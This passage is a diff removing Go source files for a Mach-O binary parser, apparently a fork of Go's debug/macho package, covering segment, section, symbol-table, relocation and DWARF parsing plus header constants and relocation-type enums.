s.Memsz = uint64(seg32.Memsz)
|
||||
s.Offset = uint64(seg32.Offset)
|
||||
s.Filesz = uint64(seg32.Filesz)
|
||||
s.Maxprot = seg32.Maxprot
|
||||
s.Prot = seg32.Prot
|
||||
s.Nsect = seg32.Nsect
|
||||
s.Flag = seg32.Flag
|
||||
if uint64((seg32.Offset + seg32.Filesz)) > FinalSegEnd {
|
||||
FinalSegEnd = uint64((seg32.Offset + seg32.Filesz))
|
||||
}
|
||||
f.Loads[i] = s
|
||||
for i := 0; i < int(s.Nsect); i++ {
|
||||
var sh32 Section32
|
||||
if err := binary.Read(b, bo, &sh32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sh := new(Section)
|
||||
sh.Name = cstring(sh32.Name[0:])
|
||||
sh.Seg = cstring(sh32.Seg[0:])
|
||||
sh.Addr = uint64(sh32.Addr)
|
||||
sh.Size = uint64(sh32.Size)
|
||||
sh.Offset = sh32.Offset
|
||||
sh.Align = sh32.Align
|
||||
sh.Reloff = sh32.Reloff
|
||||
sh.Nreloc = sh32.Nreloc
|
||||
sh.Flags = sh32.Flags
|
||||
if err := f.pushSection(sh, r); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
case LoadCmdSegment64:
|
||||
var seg64 Segment64
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &seg64); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s = new(Segment)
|
||||
s.LoadBytes = cmddat
|
||||
s.Cmd = cmd
|
||||
s.Len = siz
|
||||
s.Name = cstring(seg64.Name[0:])
|
||||
s.Addr = seg64.Addr
|
||||
s.Memsz = seg64.Memsz
|
||||
s.Offset = seg64.Offset
|
||||
s.Filesz = seg64.Filesz
|
||||
s.Maxprot = seg64.Maxprot
|
||||
s.Prot = seg64.Prot
|
||||
s.Nsect = seg64.Nsect
|
||||
s.Flag = seg64.Flag
|
||||
if uint64((seg64.Offset + seg64.Filesz)) > FinalSegEnd {
|
||||
FinalSegEnd = uint64((seg64.Offset + seg64.Filesz))
|
||||
}
|
||||
f.Loads[i] = s
|
||||
for i := 0; i < int(s.Nsect); i++ {
|
||||
var sh64 Section64
|
||||
if err := binary.Read(b, bo, &sh64); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sh := new(Section)
|
||||
sh.Name = cstring(sh64.Name[0:])
|
||||
sh.Seg = cstring(sh64.Seg[0:])
|
||||
sh.Addr = sh64.Addr
|
||||
sh.Size = sh64.Size
|
||||
sh.Offset = sh64.Offset
|
||||
sh.Align = sh64.Align
|
||||
sh.Reloff = sh64.Reloff
|
||||
sh.Nreloc = sh64.Nreloc
|
||||
sh.Flags = sh64.Flags
|
||||
if err := f.pushSection(sh, r); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
//case LoadCmdUnixThread:
|
||||
// todo: do we have to support thread_command here for older binaries? or is the LC_MAIN handling backwards compatible?
|
||||
|
||||
case LoadCmdMain:
|
||||
var entryPoint EntryPointCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &entryPoint); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.EntryPoint = entryPoint.EntryOff
|
||||
}
|
||||
if s != nil {
|
||||
if !memoryMode {
|
||||
s.sr = io.NewSectionReader(r, int64(s.Offset), int64(s.Filesz))
|
||||
} else {
|
||||
s.sr = io.NewSectionReader(r, int64(s.Addr), int64(s.Filesz))
|
||||
}
|
||||
s.ReaderAt = s.sr
|
||||
}
|
||||
}
|
||||
return f, nil
|
||||
}
|
||||
|
||||
func (f *File) parseSymtab(symdat, strtab, cmddat []byte, hdr *SymtabCmd, offset int64) (*Symtab, error) {
|
||||
bo := f.ByteOrder
|
||||
symtab := make([]Symbol, hdr.Nsyms)
|
||||
b := bytes.NewReader(symdat)
|
||||
for i := range symtab {
|
||||
var n Nlist64
|
||||
if f.Magic == Magic64 {
|
||||
if err := binary.Read(b, bo, &n); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
var n32 Nlist32
|
||||
if err := binary.Read(b, bo, &n32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
n.Name = n32.Name
|
||||
n.Type = n32.Type
|
||||
n.Sect = n32.Sect
|
||||
n.Desc = n32.Desc
|
||||
n.Value = uint64(n32.Value)
|
||||
}
|
||||
sym := &symtab[i]
|
||||
if n.Name >= uint32(len(strtab)) {
|
||||
return nil, &FormatError{offset, "invalid name in symbol table", n.Name}
|
||||
}
|
||||
sym.Name = cstring(strtab[n.Name:])
|
||||
sym.Type = n.Type
|
||||
sym.Sect = n.Sect
|
||||
sym.Desc = n.Desc
|
||||
sym.Value = n.Value
|
||||
}
|
||||
st := new(Symtab)
|
||||
st.LoadBytes = LoadBytes(cmddat)
|
||||
st.Syms = symtab
|
||||
st.RawSymtab = symdat
|
||||
st.RawStringtab = strtab
|
||||
return st, nil
|
||||
}
|
||||
|
||||
type relocInfo struct {
|
||||
Addr uint32
|
||||
Symnum uint32
|
||||
}
|
||||
|
||||
func (f *File) pushSection(sh *Section, r io.ReaderAt) error {
|
||||
f.Sections = append(f.Sections, sh)
|
||||
sh.sr = io.NewSectionReader(r, int64(sh.Offset), int64(sh.Size))
|
||||
sh.ReaderAt = sh.sr
|
||||
|
||||
if sh.Nreloc > 0 {
|
||||
reldat := make([]byte, int(sh.Nreloc)*8)
|
||||
if _, err := r.ReadAt(reldat, int64(sh.Reloff)); err != nil {
|
||||
return err
|
||||
}
|
||||
b := bytes.NewReader(reldat)
|
||||
|
||||
bo := f.ByteOrder
|
||||
|
||||
sh.Relocs = make([]Reloc, sh.Nreloc)
|
||||
for i := range sh.Relocs {
|
||||
rel := &sh.Relocs[i]
|
||||
|
||||
var ri relocInfo
|
||||
if err := binary.Read(b, bo, &ri); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if ri.Addr&(1<<31) != 0 { // scattered
|
||||
rel.Addr = ri.Addr & (1<<24 - 1)
|
||||
rel.Type = uint8((ri.Addr >> 24) & (1<<4 - 1))
|
||||
rel.Len = uint8((ri.Addr >> 28) & (1<<2 - 1))
|
||||
rel.Pcrel = ri.Addr&(1<<30) != 0
|
||||
rel.Value = ri.Symnum
|
||||
rel.Scattered = true
|
||||
} else {
|
||||
switch bo {
|
||||
case binary.LittleEndian:
|
||||
rel.Addr = ri.Addr
|
||||
rel.Value = ri.Symnum & (1<<24 - 1)
|
||||
rel.Pcrel = ri.Symnum&(1<<24) != 0
|
||||
rel.Len = uint8((ri.Symnum >> 25) & (1<<2 - 1))
|
||||
rel.Extern = ri.Symnum&(1<<27) != 0
|
||||
rel.Type = uint8((ri.Symnum >> 28) & (1<<4 - 1))
|
||||
case binary.BigEndian:
|
||||
rel.Addr = ri.Addr
|
||||
rel.Value = ri.Symnum >> 8
|
||||
rel.Pcrel = ri.Symnum&(1<<7) != 0
|
||||
rel.Len = uint8((ri.Symnum >> 5) & (1<<2 - 1))
|
||||
rel.Extern = ri.Symnum&(1<<4) != 0
|
||||
rel.Type = uint8(ri.Symnum & (1<<4 - 1))
|
||||
default:
|
||||
panic("unreachable")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func cstring(b []byte) string {
|
||||
i := bytes.IndexByte(b, 0)
|
||||
if i == -1 {
|
||||
i = len(b)
|
||||
}
|
||||
return string(b[0:i])
|
||||
}
|
||||
|
||||
// Segment returns the first Segment with the given name, or nil if no such segment exists.
|
||||
func (f *File) Segment(name string) *Segment {
|
||||
for _, l := range f.Loads {
|
||||
if s, ok := l.(*Segment); ok && s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Section returns the first section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DWARF returns the DWARF debug information for the Mach-O file.
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, "__debug_"):
|
||||
return s.Name[8:]
|
||||
case strings.HasPrefix(s.Name, "__zdebug_"):
|
||||
return s.Name[9:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
sectionData := func(s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint64(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for _, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
func (f *File) ImportedSymbols() ([]string, error) {
|
||||
if f.Dysymtab == nil || f.Symtab == nil {
|
||||
return nil, &FormatError{0, "missing symbol table", nil}
|
||||
}
|
||||
|
||||
st := f.Symtab
|
||||
dt := f.Dysymtab
|
||||
var all []string
|
||||
for _, s := range st.Syms[dt.Iundefsym : dt.Iundefsym+dt.Nundefsym] {
|
||||
all = append(all, s.Name)
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the paths of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
var all []string
|
||||
for _, l := range f.Loads {
|
||||
if lib, ok := l.(*Dylib); ok {
|
||||
all = append(all, lib.Name)
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
-414
@@ -1,414 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Mach-O header data structures
|
||||
// http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html
|
||||
|
||||
package macho
|
||||
|
||||
import "strconv"
|
||||
|
||||
// A FileHeader represents a Mach-O file header.
|
||||
type FileHeader struct {
|
||||
Magic uint32
|
||||
Cpu Cpu
|
||||
SubCpu uint32
|
||||
Type Type
|
||||
Ncmd uint32
|
||||
Cmdsz uint32
|
||||
Flags uint32
|
||||
}
|
||||
|
||||
const (
|
||||
fileHeaderSize32 = 7 * 4
|
||||
fileHeaderSize64 = 8 * 4
|
||||
)
|
||||
|
||||
const (
|
||||
Magic32 uint32 = 0xfeedface
|
||||
Magic64 uint32 = 0xfeedfacf
|
||||
MagicFat uint32 = 0xcafebabe
|
||||
)
|
||||
|
||||
// A Type is the Mach-O file type, e.g. an object file, executable, or dynamic library.
|
||||
type Type uint32
|
||||
|
||||
const (
|
||||
TypeObj Type = 1
|
||||
TypeExec Type = 2
|
||||
TypeDylib Type = 6
|
||||
TypeBundle Type = 8
|
||||
)
|
||||
|
||||
var typeStrings = []intName{
|
||||
{uint32(TypeObj), "Obj"},
|
||||
{uint32(TypeExec), "Exec"},
|
||||
{uint32(TypeDylib), "Dylib"},
|
||||
{uint32(TypeBundle), "Bundle"},
|
||||
}
|
||||
|
||||
func (t Type) String() string { return stringName(uint32(t), typeStrings, false) }
|
||||
func (t Type) GoString() string { return stringName(uint32(t), typeStrings, true) }
|
||||
|
||||
// A Cpu is a Mach-O cpu type.
|
||||
type Cpu uint32
|
||||
|
||||
const cpuArch64 = 0x01000000
|
||||
|
||||
const (
|
||||
Cpu386 Cpu = 7
|
||||
CpuAmd64 Cpu = Cpu386 | cpuArch64
|
||||
CpuArm Cpu = 12
|
||||
CpuArm64 Cpu = CpuArm | cpuArch64
|
||||
CpuPpc Cpu = 18
|
||||
CpuPpc64 Cpu = CpuPpc | cpuArch64
|
||||
)
|
||||
|
||||
var cpuStrings = []intName{
|
||||
{uint32(Cpu386), "Cpu386"},
|
||||
{uint32(CpuAmd64), "CpuAmd64"},
|
||||
{uint32(CpuArm), "CpuArm"},
|
||||
{uint32(CpuArm64), "CpuArm64"},
|
||||
{uint32(CpuPpc), "CpuPpc"},
|
||||
{uint32(CpuPpc64), "CpuPpc64"},
|
||||
}
|
||||
|
||||
var FinalSegEnd uint64
|
||||
|
||||
func (i Cpu) String() string { return stringName(uint32(i), cpuStrings, false) }
|
||||
func (i Cpu) GoString() string { return stringName(uint32(i), cpuStrings, true) }
|
||||
|
||||
// A LoadCmd is a Mach-O load command.
|
||||
type LoadCmd uint32
|
||||
|
||||
const (
|
||||
LoadCmdSegment LoadCmd = 0x1
|
||||
LoadCmdSymtab LoadCmd = 0x2
|
||||
LoadCmdThread LoadCmd = 0x4
|
||||
LoadCmdUnixThread LoadCmd = 0x5 // thread+stack
|
||||
LoadCmdDysymtab LoadCmd = 0xb
|
||||
LoadCmdDylib LoadCmd = 0xc // load dylib command
|
||||
LoadCmdDylinker LoadCmd = 0xf // id dylinker command (not load dylinker command)
|
||||
LoadCmdSegment64 LoadCmd = 0x19
|
||||
LoadCmdSignature LoadCmd = 0x1d
|
||||
LoadCmdFuncStarts LoadCmd = 0x26 // Function Starts
|
||||
LoadCmdDataInCode LoadCmd = 0x29 // Data In Code
|
||||
|
||||
LoadReqDyld LoadCmd = 0x80000000
|
||||
LoadCmdMain LoadCmd = (0x28 | LoadReqDyld) // replacement for LC_UNIXTHREAD
|
||||
LoadCmdRpath LoadCmd = 0x8000001c
|
||||
LoadCmdDylinkInfo LoadCmd = 0x80000022 // Dynamic Linker Info Only
|
||||
)
|
||||
|
||||
var cmdStrings = []intName{
|
||||
{uint32(LoadCmdSegment), "LoadCmdSegment"},
|
||||
{uint32(LoadCmdThread), "LoadCmdThread"},
|
||||
{uint32(LoadCmdUnixThread), "LoadCmdUnixThread"},
|
||||
{uint32(LoadCmdDylib), "LoadCmdDylib"},
|
||||
{uint32(LoadCmdSegment64), "LoadCmdSegment64"},
|
||||
{uint32(LoadCmdRpath), "LoadCmdRpath"},
|
||||
{uint32(LoadCmdSignature), "LoadCmdSignature"},
|
||||
{uint32(LoadCmdFuncStarts), "LoadCmdFuncStarts"},
|
||||
{uint32(LoadCmdDataInCode), "LoadCmdDataInCode"},
|
||||
{uint32(LoadCmdDylinkInfo), "LoadCmdDylinkInfo"},
|
||||
}
|
||||
|
||||
func (i LoadCmd) String() string { return stringName(uint32(i), cmdStrings, false) }
|
||||
func (i LoadCmd) GoString() string { return stringName(uint32(i), cmdStrings, true) }
|
||||
|
||||
// Prog.Flag
|
||||
type ProgFlag uint32
|
||||
|
||||
const (
|
||||
PF_NONE ProgFlag = 0x0 /* None */
|
||||
PF_R ProgFlag = 0x1 /* Readable. */
|
||||
PF_W ProgFlag = 0x2 /* Writable. */
|
||||
PF_X ProgFlag = 0x4 /* Executable. */
|
||||
)
|
||||
|
||||
type (
|
||||
// A Segment32 is a 32-bit Mach-O segment load command.
|
||||
Segment32 struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name [16]byte
|
||||
Addr uint32
|
||||
Memsz uint32
|
||||
Offset uint32
|
||||
Filesz uint32
|
||||
Maxprot uint32 // ProgFlag - Maximum Segment Virtual Memory Protections
|
||||
Prot uint32 // ProgFlag - Initial Segment Virtual Memory Protections
|
||||
Nsect uint32
|
||||
Flag uint32
|
||||
}
|
||||
|
||||
// A Segment64 is a 64-bit Mach-O segment load command.
|
||||
Segment64 struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name [16]byte
|
||||
Addr uint64
|
||||
Memsz uint64
|
||||
Offset uint64
|
||||
Filesz uint64
|
||||
Maxprot uint32
|
||||
Prot uint32
|
||||
Nsect uint32
|
||||
Flag uint32
|
||||
}
|
||||
|
||||
// A SigBlockCmd is a Mach-O symbol table command.
|
||||
SigBlockCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Sigoff uint32
|
||||
Sigsize uint32
|
||||
}
|
||||
|
||||
// A SymtabCmd is a Mach-O symbol table command.
|
||||
SymtabCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Symoff uint32
|
||||
Nsyms uint32
|
||||
Stroff uint32
|
||||
Strsize uint32
|
||||
}
|
||||
|
||||
// A DysymtabCmd is a Mach-O dynamic symbol table command.
|
||||
DysymtabCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Ilocalsym uint32
|
||||
Nlocalsym uint32
|
||||
Iextdefsym uint32
|
||||
Nextdefsym uint32
|
||||
Iundefsym uint32
|
||||
Nundefsym uint32
|
||||
Tocoffset uint32
|
||||
Ntoc uint32
|
||||
Modtaboff uint32
|
||||
Nmodtab uint32
|
||||
Extrefsymoff uint32
|
||||
Nextrefsyms uint32
|
||||
Indirectsymoff uint32
|
||||
Nindirectsyms uint32
|
||||
Extreloff uint32
|
||||
Nextrel uint32
|
||||
Locreloff uint32
|
||||
Nlocrel uint32
|
||||
}
|
||||
|
||||
// DylinkerCmd is a load command to identify the dynamic linker
|
||||
DylinkerCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name uint32
|
||||
}
|
||||
|
||||
// A DylibCmd is a Mach-O load dynamic library command.
|
||||
DylibCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name uint32
|
||||
Time uint32
|
||||
CurrentVersion uint32
|
||||
CompatVersion uint32
|
||||
}
|
||||
|
||||
// A FuncStartsCmd is a Mach-O load Function Starts command
|
||||
FuncStartsCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Dataoff uint32
|
||||
Datasize uint32
|
||||
}
|
||||
|
||||
// A DataInCodeCmd is a Mach-O load for Data In Code command
|
||||
DataInCodeCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Dataoff uint32
|
||||
Datasize uint32
|
||||
}
|
||||
|
||||
// A DylinkInfoCmd is a Mach-O load for Dynamic Linker Info Only Command
|
||||
DylinkInfoCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Rebaseoff uint32
|
||||
Rebasesize uint32
|
||||
Bindinginfooff uint32
|
||||
Bindinginfosize uint32
|
||||
Weakbindingoff uint32
|
||||
Weakbindingsize uint32
|
||||
Lazybindingoff uint32
|
||||
Lazybindingsize uint32
|
||||
Exportinfooff uint32
|
||||
Exportinfosize uint32
|
||||
}
|
||||
|
||||
// A RpathCmd is a Mach-O rpath command.
|
||||
RpathCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Path uint32
|
||||
}
|
||||
|
||||
// A Thread is a Mach-O thread state command.
|
||||
Thread struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Type uint32
|
||||
Data []uint32
|
||||
}
|
||||
|
||||
// A EntryPointCmd is a Mach-O entry point command.
|
||||
EntryPointCmd struct {
|
||||
Cmd uint32 /* LC_MAIN only used in MH_EXECUTE filetypes */
|
||||
CmdSize uint32 /* 24 */
|
||||
EntryOff uint64 /* file (__TEXT) offset of main() */
|
||||
StackSize uint64 /* if not zero, initial stack size */
|
||||
}
|
||||
)
|
||||
|
||||
const (
|
||||
FlagNoUndefs uint32 = 0x1
|
||||
FlagIncrLink uint32 = 0x2
|
||||
FlagDyldLink uint32 = 0x4
|
||||
FlagBindAtLoad uint32 = 0x8
|
||||
FlagPrebound uint32 = 0x10
|
||||
FlagSplitSegs uint32 = 0x20
|
||||
FlagLazyInit uint32 = 0x40
|
||||
FlagTwoLevel uint32 = 0x80
|
||||
FlagForceFlat uint32 = 0x100
|
||||
FlagNoMultiDefs uint32 = 0x200
|
||||
FlagNoFixPrebinding uint32 = 0x400
|
||||
FlagPrebindable uint32 = 0x800
|
||||
FlagAllModsBound uint32 = 0x1000
|
||||
FlagSubsectionsViaSymbols uint32 = 0x2000
|
||||
FlagCanonical uint32 = 0x4000
|
||||
FlagWeakDefines uint32 = 0x8000
|
||||
FlagBindsToWeak uint32 = 0x10000
|
||||
FlagAllowStackExecution uint32 = 0x20000
|
||||
FlagRootSafe uint32 = 0x40000
|
||||
FlagSetuidSafe uint32 = 0x80000
|
||||
FlagNoReexportedDylibs uint32 = 0x100000
|
||||
FlagPIE uint32 = 0x200000
|
||||
FlagDeadStrippableDylib uint32 = 0x400000
|
||||
FlagHasTLVDescriptors uint32 = 0x800000
|
||||
FlagNoHeapExecution uint32 = 0x1000000
|
||||
FlagAppExtensionSafe uint32 = 0x2000000
|
||||
)
|
||||
|
||||
// A Section32 is a 32-bit Mach-O section header.
|
||||
type Section32 struct {
|
||||
Name [16]byte
|
||||
Seg [16]byte
|
||||
Addr uint32
|
||||
Size uint32
|
||||
Offset uint32
|
||||
Align uint32
|
||||
Reloff uint32
|
||||
Nreloc uint32
|
||||
Flags uint32
|
||||
Reserve1 uint32
|
||||
Reserve2 uint32
|
||||
}
|
||||
|
||||
// A Section64 is a 64-bit Mach-O section header.
|
||||
type Section64 struct {
|
||||
Name [16]byte
|
||||
Seg [16]byte
|
||||
Addr uint64
|
||||
Size uint64
|
||||
Offset uint32
|
||||
Align uint32
|
||||
Reloff uint32
|
||||
Nreloc uint32
|
||||
Flags uint32
|
||||
Reserve1 uint32
|
||||
Reserve2 uint32
|
||||
Reserve3 uint32
|
||||
}
|
||||
|
||||
// An Nlist32 is a Mach-O 32-bit symbol table entry.
|
||||
type Nlist32 struct {
|
||||
Name uint32
|
||||
Type uint8
|
||||
Sect uint8
|
||||
Desc uint16
|
||||
Value uint32
|
||||
}
|
||||
|
||||
// An Nlist64 is a Mach-O 64-bit symbol table entry.
|
||||
type Nlist64 struct {
|
||||
Name uint32
|
||||
Type uint8
|
||||
Sect uint8
|
||||
Desc uint16
|
||||
Value uint64
|
||||
}
|
||||
|
||||
// Regs386 is the Mach-O 386 register structure.
|
||||
type Regs386 struct {
|
||||
AX uint32
|
||||
BX uint32
|
||||
CX uint32
|
||||
DX uint32
|
||||
DI uint32
|
||||
SI uint32
|
||||
BP uint32
|
||||
SP uint32
|
||||
SS uint32
|
||||
FLAGS uint32
|
||||
IP uint32
|
||||
CS uint32
|
||||
DS uint32
|
||||
ES uint32
|
||||
FS uint32
|
||||
GS uint32
|
||||
}
|
||||
|
||||
// RegsAMD64 is the Mach-O AMD64 register structure.
|
||||
type RegsAMD64 struct {
|
||||
AX uint64
|
||||
BX uint64
|
||||
CX uint64
|
||||
DX uint64
|
||||
DI uint64
|
||||
SI uint64
|
||||
BP uint64
|
||||
SP uint64
|
||||
R8 uint64
|
||||
R9 uint64
|
||||
R10 uint64
|
||||
R11 uint64
|
||||
R12 uint64
|
||||
R13 uint64
|
||||
R14 uint64
|
||||
R15 uint64
|
||||
IP uint64
|
||||
FLAGS uint64
|
||||
CS uint64
|
||||
FS uint64
|
||||
GS uint64
|
||||
}
|
||||
|
||||
type intName struct {
|
||||
i uint32
|
||||
s string
|
||||
}
|
||||
|
||||
func stringName(i uint32, names []intName, goSyntax bool) string {
|
||||
for _, n := range names {
|
||||
if n.i == i {
|
||||
if goSyntax {
|
||||
return "macho." + n.s
|
||||
}
|
||||
return n.s
|
||||
}
|
||||
}
|
||||
return strconv.FormatUint(uint64(i), 10)
|
||||
}
|
||||
-72
@@ -1,72 +0,0 @@
|
||||
// Copyright 2017 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package macho
|
||||
|
||||
//go:generate stringer -type=RelocTypeGeneric,RelocTypeX86_64,RelocTypeARM,RelocTypeARM64 -output reloctype_string.go
|
||||
|
||||
type RelocTypeGeneric int
|
||||
|
||||
const (
|
||||
GENERIC_RELOC_VANILLA RelocTypeGeneric = 0
|
||||
GENERIC_RELOC_PAIR RelocTypeGeneric = 1
|
||||
GENERIC_RELOC_SECTDIFF RelocTypeGeneric = 2
|
||||
GENERIC_RELOC_PB_LA_PTR RelocTypeGeneric = 3
|
||||
GENERIC_RELOC_LOCAL_SECTDIFF RelocTypeGeneric = 4
|
||||
GENERIC_RELOC_TLV RelocTypeGeneric = 5
|
||||
)
|
||||
|
||||
func (r RelocTypeGeneric) GoString() string { return "macho." + r.String() }
|
||||
|
||||
type RelocTypeX86_64 int
|
||||
|
||||
const (
|
||||
X86_64_RELOC_UNSIGNED RelocTypeX86_64 = 0
|
||||
X86_64_RELOC_SIGNED RelocTypeX86_64 = 1
|
||||
X86_64_RELOC_BRANCH RelocTypeX86_64 = 2
|
||||
X86_64_RELOC_GOT_LOAD RelocTypeX86_64 = 3
|
||||
X86_64_RELOC_GOT RelocTypeX86_64 = 4
|
||||
X86_64_RELOC_SUBTRACTOR RelocTypeX86_64 = 5
|
||||
X86_64_RELOC_SIGNED_1 RelocTypeX86_64 = 6
|
||||
X86_64_RELOC_SIGNED_2 RelocTypeX86_64 = 7
|
||||
X86_64_RELOC_SIGNED_4 RelocTypeX86_64 = 8
|
||||
X86_64_RELOC_TLV RelocTypeX86_64 = 9
|
||||
)
|
||||
|
||||
func (r RelocTypeX86_64) GoString() string { return "macho." + r.String() }
|
||||
|
||||
type RelocTypeARM int
|
||||
|
||||
const (
|
||||
ARM_RELOC_VANILLA RelocTypeARM = 0
|
||||
ARM_RELOC_PAIR RelocTypeARM = 1
|
||||
ARM_RELOC_SECTDIFF RelocTypeARM = 2
|
||||
ARM_RELOC_LOCAL_SECTDIFF RelocTypeARM = 3
|
||||
ARM_RELOC_PB_LA_PTR RelocTypeARM = 4
|
||||
ARM_RELOC_BR24 RelocTypeARM = 5
|
||||
ARM_THUMB_RELOC_BR22 RelocTypeARM = 6
|
||||
ARM_THUMB_32BIT_BRANCH RelocTypeARM = 7
|
||||
ARM_RELOC_HALF RelocTypeARM = 8
|
||||
ARM_RELOC_HALF_SECTDIFF RelocTypeARM = 9
|
||||
)
|
||||
|
||||
func (r RelocTypeARM) GoString() string { return "macho." + r.String() }
|
||||
|
||||
type RelocTypeARM64 int
|
||||
|
||||
const (
|
||||
ARM64_RELOC_UNSIGNED RelocTypeARM64 = 0
|
||||
ARM64_RELOC_SUBTRACTOR RelocTypeARM64 = 1
|
||||
ARM64_RELOC_BRANCH26 RelocTypeARM64 = 2
|
||||
ARM64_RELOC_PAGE21 RelocTypeARM64 = 3
|
||||
ARM64_RELOC_PAGEOFF12 RelocTypeARM64 = 4
|
||||
ARM64_RELOC_GOT_LOAD_PAGE21 RelocTypeARM64 = 5
|
||||
ARM64_RELOC_GOT_LOAD_PAGEOFF12 RelocTypeARM64 = 6
|
||||
ARM64_RELOC_POINTER_TO_GOT RelocTypeARM64 = 7
|
||||
ARM64_RELOC_TLVP_LOAD_PAGE21 RelocTypeARM64 = 8
|
||||
ARM64_RELOC_TLVP_LOAD_PAGEOFF12 RelocTypeARM64 = 9
|
||||
ARM64_RELOC_ADDEND RelocTypeARM64 = 10
|
||||
)
|
||||
|
||||
func (r RelocTypeARM64) GoString() string { return "macho." + r.String() }
|
||||
-49
@@ -1,49 +0,0 @@
|
||||
// Code generated by "stringer -type=RelocTypeGeneric,RelocTypeX86_64,RelocTypeARM,RelocTypeARM64 -output reloctype_string.go"; DO NOT EDIT.
|
||||
|
||||
package macho
|
||||
|
||||
import "strconv"
|
||||
|
||||
const _RelocTypeGeneric_name = "GENERIC_RELOC_VANILLAGENERIC_RELOC_PAIRGENERIC_RELOC_SECTDIFFGENERIC_RELOC_PB_LA_PTRGENERIC_RELOC_LOCAL_SECTDIFFGENERIC_RELOC_TLV"
|
||||
|
||||
var _RelocTypeGeneric_index = [...]uint8{0, 21, 39, 61, 84, 112, 129}
|
||||
|
||||
func (i RelocTypeGeneric) String() string {
|
||||
if i < 0 || i >= RelocTypeGeneric(len(_RelocTypeGeneric_index)-1) {
|
||||
return "RelocTypeGeneric(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeGeneric_name[_RelocTypeGeneric_index[i]:_RelocTypeGeneric_index[i+1]]
|
||||
}
|
||||
|
